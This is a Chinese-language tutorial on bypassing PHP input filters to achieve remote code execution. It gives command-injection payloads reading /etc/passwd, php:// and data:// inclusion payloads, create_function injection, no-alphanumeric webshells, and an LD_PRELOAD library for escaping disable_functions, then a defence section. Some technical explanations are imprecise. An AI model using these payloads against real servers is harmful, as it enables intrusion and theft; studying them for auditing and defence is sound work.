1. 项目概述:当安全机制成为攻击者的“跳板”

在Web安全领域,PHP因其广泛的应用,一直是攻防对抗的焦点。开发者们绞尽脑汁,使用各种过滤函数(如 preg_replace str_replace escapeshellarg escapeshellcmd addslashes htmlspecialchars 等)来净化用户输入,试图将危险字符扼杀在摇篮里。然而,对于攻击者而言,这些过滤机制并非坚不可摧的城墙,而更像是一道需要“解题思路”的谜题。所谓“绕过PHP过滤的RCE高级技巧”,其核心就是研究这些过滤逻辑的“盲点”与“特性”,利用PHP语言本身的灵活性、函数行为的微妙差异以及上下文环境的特殊性,将看似无害的输入,最终拼接、触发为可执行的系统命令或PHP代码。

这绝不是简单的字符替换游戏。它要求攻击者(或安全研究员)对PHP有深入的理解,从语法、函数、协议到运行环境,进行多维度、深层次的挖掘。每一次成功的绕过,都是对防御体系一次精准的“外科手术式”打击,暴露了安全开发中“想当然”的思维定式。对于防御方来说,了解这些技巧不是为了实施攻击,而是为了构建更健壮、更深层次的防御策略,真正做到“知己知彼,百战不殆”。本文将深入剖析几种典型且高级的绕过姿势,从原理到实操,带你理解攻击者的思维路径,从而加固你的应用防线。

2. 核心思路拆解:从“黑名单”到“上下文博弈”

在开始具体技巧之前,我们必须建立一个核心认知:所有过滤绕过的本质,都是 利用过滤逻辑与最终执行逻辑之间的“认知偏差” 。防御者在一个层面(通常是字符串处理层)进行过滤,而攻击者则尝试在另一个层面(语法解析层、函数行为层、协议处理层)让输入“恢复”其恶意本质。

2.1 过滤策略的常见误区

开发者常犯的几个错误,为绕过留下了空间:

  1. 不完全的黑名单 :只过滤了 ; & | ,却忘了 \n (换行符)在 shell_exec 中同样可以分隔命令。或者只过滤了 system exec ,却允许 passthru shell_exec proc_open ,甚至是通过回调函数动态调用命令。
  2. 错误的转义上下文 :在SQL注入中,使用 addslashes 转义单引号是常见做法。但在某些特定字符集(如GBK)下,可能引发宽字节注入,因为转义符 \ 0x5C )本身可能成为多字节字符的一部分。在命令执行中, escapeshellarg escapeshellcmd 的行为差异巨大,错误使用或组合使用可能导致漏洞。
  3. 对输入数据流的单一理解 :只对 $_GET $_POST 进行过滤,却忽略了 $_COOKIE $_SERVER (如 HTTP_X_FORWARDED_FOR )、 php://input 流,或者文件上传的 $_FILES[‘file’][‘name’] 。攻击者可以从任何可控的输入点注入。
  4. 依赖客户端的过滤 :这是最致命的错误。任何在浏览器端(JavaScript)进行的过滤或验证,都可以被完全绕过。服务器端必须进行独立的、彻底的校验。
  5. 过滤顺序与逻辑错误 :先解码(如 urldecode )后过滤,还是先过滤后解码?如果攻击者进行双重编码(如 %2561 解码一次是 %61 ,再解码一次是 a ),错误的顺序会导致过滤被绕过。

2.2 高级绕过的核心维度

基于以上误区,我们可以将高级绕过技巧归纳为以下几个维度:

  • 语法维度 :利用PHP代码/Shell命令的多种书写和分隔方式。例如,命令分隔不止有 ; ,还有 & && | || \n %0a 、反引号 ` $(...) 等。PHP代码执行不止有 eval ,还有 assert create_function preg_replace /e 修饰符(已废弃但老系统仍有)、 call_user_func array_map 等。
  • 编码与解码维度 :利用多次编码、非常规编码(如十六进制、八进制、Unicode)来逃避基于字符串匹配的过滤。例如,过滤了 cat ,但 \143\141\164 (八进制)或 0x636174 (十六进制)在特定上下文(如 echo 命令中)可能被还原。
  • 协议与包装器维度 :PHP强大的流包装器( php:// data:// expect:// zip:// 等)是绕过的利器。它们可以用于读取文件、包含代码、甚至执行命令,常常能绕过对文件路径或特定函数的直接过滤。
  • 字符串处理与拼接维度 :利用 . 连接符、 ${} 变量内插、 $ 变量动态特性、 strrev 反转后再执行等技巧,将恶意载荷拆散、变形,在运行时重组。
  • 特性与Bug利用维度 :利用特定PHP版本、扩展或配置的已知特性或漏洞。例如, php://filter 过滤器链的巧妙组合可以进行编码转换绕过死亡 exit ;某些环境下 mail() 函数的第五个参数可用于执行命令。

理解了这些维度,我们就像拥有了一个“攻击工具箱”。下面,我们将进入实战环节,看看这些工具是如何被具体运用的。

3. 实战技巧解析:从经典到奇技淫巧

我们将通过几个由浅入深的场景,来剖析具体的绕过技巧。每个技巧都会附上原理说明、示例Payload以及关键的 注意事项

3.1 场景一:命令注入中的分隔符与空格绕过

假设一个简单的命令执行点: $cmd = $_GET[‘cmd’]; system(“ping -c 4 “ . $cmd); 。开发者意识到危险,做了如下过滤: $cmd = str_replace(array(‘;’, ‘&’, ‘|’), ‘’, $cmd);

绕过尝试1:使用其他分隔符

注意: system() 函数会将字符串交给系统的shell(如 /bin/sh )执行。因此,所有shell支持的分隔符都值得尝试。

原始输入:127.0.0.1 && whoami
过滤后:127.0.0.1  whoami (`&&`被过滤?这里假设过滤了`&`,但`&&`是两个字符,如果过滤逻辑是替换单个`&`,则`&&`会变成空,但若逻辑是`str_replace(‘&&’, ‘’, $cmd)`则能防住。这里演示逻辑不严谨的过滤。)
更稳妥的绕过:使用换行符 `%0a`
Payload: 127.0.0.1%0aid

在Shell中,换行符和分号一样,是命令分隔符。 system(“ping -c 4 127.0.0.1\nid”) 会先执行ping,然后执行id。

绕过尝试2:绕过空格的限制 有时,连空格都会被过滤。此时需要寻找空格的替代品。

  • ${IFS} :在Bash中, IFS 是内部字段分隔符,默认包含空格、制表符、换行符。 ${IFS} 可以直接作为空格使用。
    • Payload: 127.0.0.1&&cat${IFS}/etc/passwd
  • < <> :重定向符号在某些上下文中可以替代空格,特别是在文件路径参数中。
    • Payload: 127.0.0.1&&cat</etc/passwd (将 /etc/passwd 作为输入传给 cat )
  • 花括号扩展 {cat,/etc/passwd} :这并非在所有命令中都有效,但在某些构造中很巧妙。
  • 变量控制 $IFS$9 ,其中 $9 通常是第9个参数,通常为空,组合起来就是空格。或者直接定义变量: X=$’\x20’; cat$X/etc/passwd

实操心得 : 命令注入绕过的第一步永远是 探测 。先提交 127.0.0.1 看是否正常执行,然后提交 127.0.0.1’ 127.0.0.1” 看是否有错误信息(判断引号闭合),再尝试 127.0.0.1; sleep 5 观察是否有延迟,最后系统性地测试所有可能的分隔符和空格替代品。使用Burp Suite的Intruder模块,加载一个分隔符字典进行Fuzz,是最高效的方法。

3.2 场景二:利用PHP字符串解析特性进行代码执行绕过

PHP的字符串解析和变量处理有一些“怪癖”,可以被巧妙利用。

技巧1:利用花括号 {} 和方括号 [] 的歧义性 在双引号字符串中, ${} 可以用于解析变量。如果过滤了括号 () ,但没过滤花括号 {} ,且我们能控制一个变量名,就可能构成代码执行。

// 假设代码:eval(“\$str = \”$input\”;”); // 用户输入被放入双引号字符串中
// 过滤了 `()` 和 `;`
$input = ‘{${phpinfo()}}’; // 错误,因为过滤了括号
// 尝试:如果php.ini中register_globals=On(极老版本,现代已废弃),或者通过其他方式定义了变量$a
$input = ‘{${phpinfo}}’; // 这通常不行,因为phpinfo是函数,不是变量。
// 更常见的利用:通过GET/POST传入变量
// 假设代码:eval(“\$a = ‘$GET[‘var’]’;”);
// 攻击者请求:?var=abc&abc=system(‘id’)
// 那么eval内成为:$a = ‘{${abc}}’; 而abc的值是system(‘id’),但这里仍需执行环境。这更常用于可变变量。

这个技巧比较晦涩,成功率不高,但它揭示了PHP复杂变量解析可能带来的风险。

技巧2:十六进制、八进制字符串绕过关键字过滤 如果代码使用 preg_replace(‘/system|exec|passthru/i’, ‘’, $input) 来删除危险函数名,我们可以用编码绕过。

$input = ‘\x73\x79\x73\x74\x65\x6d(\’id\’)’; // system(‘id’) 的十六进制表示
// 或八进制
$input = ‘\163\171\163\164\145\155(\151\144)’; // system(id) 的八进制

但这里有个关键: 单纯的字符串编码,在 eval 中并不会被自动解码执行 eval(“\x73\x79…”) 只会把它当作普通字符串。要让其生效,需要借助能够解码字符串的函数。

技巧3:配合 chr() 函数或 . 连接符动态构造 既然直接写编码不行,我们就动态构造。

// 假设过滤了 ‘system’ 这个词
$input = ‘$f=chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$f(“id”);’;
// chr(115)是’s’,依次拼接成’system’,然后作为变量函数调用。

如果连 chr 都被过滤了,还可以利用其他方式生成字符,比如利用 phpinfo()[0] 获取字符 ‘P’( phpinfo() 返回字符串, [0] 取第一个字符),但这需要更多技巧。

3.3 场景三:PHP流包装器的魔法—— php://filter data://

这是PHP Web安全中 极其重要 的一环,常用于文件包含、读取源码等场景,进而可能导向RCE。

php://filter 的妙用:读取源码与编码转换 假设有一个文件包含漏洞: include($_GET[‘file’] . ‘.php’); ,但限制了后缀 .php 。我们可以使用 php://filter 来读取任意文件的源码,因为 include 会执行文件,而 php://filter/read=... 可以先将文件内容经过编码转换,再交给 include 处理。如果编码转换导致内容无法被解析为PHP,就会以文本形式显示源码。

Payload: ?file=php://filter/read=convert.base64-encode/resource=index

这会将 index.php 的内容进行base64编码后输出,我们解码即可得到源码。在源码中可能找到数据库密码、其他敏感文件路径或未过滤的代码执行点。

更高级的用法是 过滤器链 死亡 exit 绕过 。有些防御代码会在文件开头或结尾添加 die(); exit(); 来防止文件被读取。我们可以利用过滤器链进行多次编码解码,将 <?php exit();?> 这段死亡代码破坏掉。

// 假设包含点代码是:include($_GET[‘file’]);
// 攻击者写入一个包含webshell的文本文件(内容为:<?php eval($_POST[‘c’]);?>),但包含时前面有exit
// 利用过滤器链绕过
?file=php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/uploaded/file.txt

其原理是, convert.base64-decode 会将输入当作base64字符串解码。 <?php exit();?> 经过base64编码后再解码,如果长度不是4的倍数,解码会出错,可能破坏掉原来的结构,而我们的webshell payload如果精心构造,可以存活下来。这需要精确计算字符数。

data:// 协议的直接代码执行 data:// 协议允许直接在URI中嵌入数据。如果 allow_url_include 配置为 On (默认是 Off ,但某些环境会开启),就可以直接执行任意代码。

Payload: ?file=data://text/plain,<?php phpinfo();?>
// 或者base64编码,避免特殊字符问题
Payload: ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

这相当于直接 include 了一段包含 phpinfo(); 的代码,实现了RCE。这是最直接、最危险的绕过方式之一,其防御完全依赖于 allow_url_include allow_url_fopen 的严格配置。

注意事项 : 使用流包装器时,一定要清楚目标服务器的PHP配置。 allow_url_include allow_url_fopen 是总开关。此外, php://input 可以读取POST的原始数据,常与 include file_get_contents 结合使用,通过POST传递PHP代码执行。例如: ?file=php://input ,然后在POST Body里发送 <?php system(‘id’);?>

3.4 场景四:利用回调函数与动态函数执行

PHP中有一类函数,接受一个字符串参数作为函数名来调用,或者接受一个字符串作为代码执行。这是绕过“禁用函数列表”的常见突破口。

call_user_func array_map

// 假设代码:$func = $_GET[‘func’]; $arg = $_GET[‘arg’]; call_user_func($func, $arg);
// 如果func和arg可控,且过滤不严
Payload: ?func=system&arg=id
// 即使过滤了system,也可以尝试其他函数,如passthru, shell_exec, exec等。
// 或者利用phpinfo, scandir等函数先进行信息收集。

array_map array_filter array_walk 等函数如果第一个参数可控,也可能导致代码执行。

// 危险代码:array_map($_GET[‘func’], array($_GET[‘arg’]));
Payload: ?func=system&arg=id

create_function 代码注入 create_function 已废弃,但在老代码中大量存在。它通过字符串动态创建匿名函数。

$func = create_function(‘$a’, ‘return $a . “‘ . $_GET[‘input’] . ‘”;’);

如果 input 参数未过滤,攻击者可以闭合前面的字符串和语句,注入新代码。

Payload: ?input=’;};phpinfo();//

生成的函数代码会变成:

return $a . ”;};phpinfo();//”;

这就成功注入了 phpinfo();

preg_replace /e 修饰符(已移除) 在PHP 5.x 时代, preg_replace /e 修饰符允许将替换字符串作为PHP代码执行。这是非常经典的代码执行漏洞。

echo preg_replace(‘/.*/e’, $_GET[‘code’], ‘test’);

提交 ?code=phpinfo() 即可执行。虽然PHP7中已移除,但在审计老系统时仍需警惕。

实操心得 : 审计代码时,要特别关注任何将用户输入直接或间接传递给以下函数的行为: call_user_func() call_user_func_array() array_map() array_filter() array_reduce() array_walk() array_walk_recursive() usort() uasort() uksort() register_shutdown_function() register_tick_function() filter_var() filter_var_array() ,以及 ob_start() 的回调函数。这些是潜在的“动态代码执行”热点。

4. 组合拳与奇技淫巧:在严苛环境下的突破

当单一技巧被防御时,组合使用多种技巧往往能出奇制胜。

4.1 案例:无字母数字的Webshell

这是一个经典的挑战:如何在不使用任何字母(a-z, A-Z)和数字(0-9)的情况下,构造出能执行任意PHP代码的Payload。这通常用于对抗严格的字符串正则过滤。

核心原理 :利用PHP中非字母数字的字符,通过位运算(如异或 ^ 、取反 ~ )、字符串连接 . 和自增运算符 ++ 来生成我们需要的字符。

  1. 利用取反 ~ ~ 运算符会对字符串进行按位取反。我们可以先构造一个看似乱码的字符串,其取反后的结果是我们想要的函数名。

    // 我们想要 ‘phpinfo’
    // ‘phpinfo’ 的二进制取反后,得到一个乱码字符串
    $payload = ‘(~%8F%97%8F%96%91%99%90)();’; // 这串URL编码后的字符,取反就是 ‘phpinfo’
    // 在代码中 eval(~’%8F%97…’) 就会变成 ‘phpinfo’
    

    但如何执行这个取反操作?如果我们可以用 $_GET[x] 传递这个乱码字符串,然后在代码中对其取反并执行,就需要一个能执行代码的环境。通常,我们需要先通过其他方式(如文件包含)引入一个能解析这种Payload的脚本,或者利用已有的非常小的代码执行缝隙。

  2. 利用异或 ^ :两个字符串进行异或运算,可以得到第三个字符串。我们可以构造两个由非字母数字字符组成的字符串A和B,使得 A ^ B = ‘phpinfo’

    // 例如(仅为示意,实际需要精确计算):
    $a = ‘1234567’;
    $b = ‘ABCDEFG’;
    // $a ^ $b 会得到另一个字符串。我们需要精心挑选A和B,使得结果是我们想要的。
    // 通常通过脚本暴力穷举生成。
    

    然后Payload可以写成: ($_=‘某串字符’^‘另一串字符’)(); $_ 的值就是 phpinfo

  3. 利用自增 ++ :在PHP中,可以对字符串进行自增操作( ‘a’++ => ‘b’ )。我们可以从一个非常规的起始点(如 ‘_’ (下划线)或 ‘[‘ )开始,通过多次自增得到字母。

    $_=‘_’; // 得到下划线
    $__=$_++; // $__=‘_’, $_=‘a’
    $___=$_++; // $___=‘a’, $_=‘b’
    // … 如此反复,可以拼出 ‘assert’ 等函数名,再配合动态执行。
    

    但这通常需要较长的Payload,并且需要能够执行多行代码的环境。

注意事项 : 无字母数字Webshell的构造非常精妙,但通常需要目标环境允许执行较复杂的PHP语句(比如已经有一个 eval($_POST[‘a’]) 的点,但过滤了字母数字)。它更像是一种“炫技”和针对特定CTF题目的解法,在实际渗透中,如果已经有一个可执行任意代码的点,攻击者往往会选择更直接的方式。然而,理解其原理对于深入理解PHP语言特性大有裨益。

4.2 案例:通过环境变量与 LD_PRELOAD 绕过 disable_functions

这是Linux系统下一种高阶的绕过技巧。当PHP的 disable_functions 配置禁用了几乎所有命令执行函数( system , exec , passthru , shell_exec , proc_open , popen 等)时,仍然可能存在突破口。

核心原理 :利用PHP的 mail() 函数或 error_log() 函数。在发送邮件或记录错误时,PHP会在底层调用系统的 /usr/sbin/sendmail 程序。这个过程会 fork 一个新进程。而Linux有一个环境变量叫 LD_PRELOAD ,它可以让我们在程序运行前,优先加载一个我们自定义的动态链接库( .so 文件)。如果我们能控制这个环境变量,并让 sendmail 加载我们恶意的库,库中的初始化函数(如 __attribute__((constructor)) 定义的函数)就会在新进程中被执行,从而实现RCE。

步骤简述

  1. 找到一个能启动外部进程的PHP函数 mail() 是最常见的。 imap_mail() mb_send_mail() 也可能。 error_log() 当使用 1 作为第二个参数时(发送到PHP系统日志器),在某些配置下也会调用 sendmail
  2. 编写一个恶意C库 :这个库定义一个构造函数,在里面执行系统命令(如 system(“/bin/bash -c ‘反弹Shell命令'”) )。
    // evil.c
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    __attribute__((constructor)) void init() {
        unsetenv(“LD_PRELOAD”); // 避免无限循环
        const char* cmd = getenv(“EVIL_CMD”);
        if (cmd != NULL) {
            system(cmd);
        }
    }
    
  3. 编译成共享库 gcc -shared -fPIC evil.c -o evil.so
  4. 上传 .so 文件 :通过网站的文件上传漏洞,将 evil.so 上传到服务器可访问的路径(如 /tmp/evil.so )。
  5. 通过PHP控制环境变量并调用 mail()
    putenv(“LD_PRELOAD=/tmp/evil.so”);
    putenv(“EVIL_CMD=id > /tmp/output”);
    mail(“a@localhost”, “”, “”, “”); // 触发 sendmail,加载我们的so,执行id命令
    // 然后读取 /tmp/output 获取命令结果
    
    这里的关键是, putenv 函数往往不在 disable_functions 列表中!

实操心得与难点

  • sendmail 路径 :目标系统可能没有安装 sendmail ,或者路径不同。可以使用 ini_get(‘sendmail_path’) 来探测。有时是 /usr/sbin/sendmail -t -i
  • LD_PRELOAD 劫持的目标函数 :更可靠的方法是劫持一个几乎一定会被调用的库函数,如 getuid() getpid() strstr() 等,而不是依赖构造函数。因为 mail() 进程可能不会执行我们库中的所有代码,但一定会调用一些基本函数。
    // 劫持 getuid()
    uid_t getuid(void) {
        unsetenv(“LD_PRELOAD”);
        system(getenv(“EVIL_CMD”));
        return 0;
    }
    
  • 防御 :除了严格控制 disable_functions ,还应考虑禁用 putenv 函数,并严格控制 mail() 函数的使用或使用不依赖外部程序的邮件发送方式。

5. 防御之道:从源头构建纵深防御

了解了这么多攻击技巧,作为开发者,我们应该如何防御?

  1. 白名单优于黑名单 :对于输入类型确定的情况(如手机号、邮箱、分类ID),使用白名单验证是唯一可靠的方式。只允许已知好的值通过。
  2. 严格的数据类型转换 :对于期望是数字的参数,使用 intval() floatval() 强制转换,而不是仅仅过滤字符。
  3. 使用安全的API :执行系统命令,优先使用 proc_open() popen() 并妥善设置参数,而不是直接拼接字符串调用 system() shell_exec() 。如果必须拼接,请使用 escapeshellarg() 对每个参数进行转义。

    重要提示: escapeshellarg() escapeshellcmd() 功能不同,且一起使用可能导致漏洞。通常,对单个参数使用 escapeshellarg() 是安全的。

  4. 禁用危险函数与配置 :在 php.ini 中,将 disable_functions 设置为禁用不必要的命令执行、代码执行函数(如 system , exec , passthru , shell_exec , proc_open , popen , eval , assert , create_function 等)。将 allow_url_fopen allow_url_include 设置为 Off
  5. 最小权限原则 :运行PHP的进程用户(如www-data)应该具有尽可能低的权限。不要以root身份运行Web服务。确保网站目录的文件权限设置正确,上传目录不可执行。
  6. 代码审计与安全开发规范 :在代码层面,避免使用 eval() assert() 等动态执行函数。如果必须使用,确保输入完全可控或经过严格的白名单过滤。对所有用户输入进行统一的、严格的过滤和验证,并遵循“数据与代码分离”的原则。
  7. 使用安全的反序列化 :PHP对象反序列化是另一个RCE重灾区。不要反序列化不可信的输入。如果必须,可以使用 json_decode() 代替 unserialize() ,或者使用实现了签名验证的序列化库。
  8. 部署WAF与日志监控 :Web应用防火墙(WAF)可以帮助拦截一些常见的攻击Payload。同时,详细记录访问日志和错误日志,并设置异常行为告警,以便在发生攻击时能快速发现和响应。

绕过与防御是一场永无止境的猫鼠游戏。攻击技术在进化,防御理念也需要不断更新。真正的安全不在于堵住所有已知的漏洞,而在于建立一个即使某个点被突破,也能将损失控制在最小范围的纵深防御体系。理解这些高级绕过技巧,正是为了能更好地构建和加固这个体系。在实战中,遇到看似严密的过滤时,多想一想:“过滤逻辑和执行逻辑真的在同一个层面吗?有没有我没想到的输入点或解析方式?” 这种思维训练,无论是对于攻击方还是防御方,都是最宝贵的财富。

更多推荐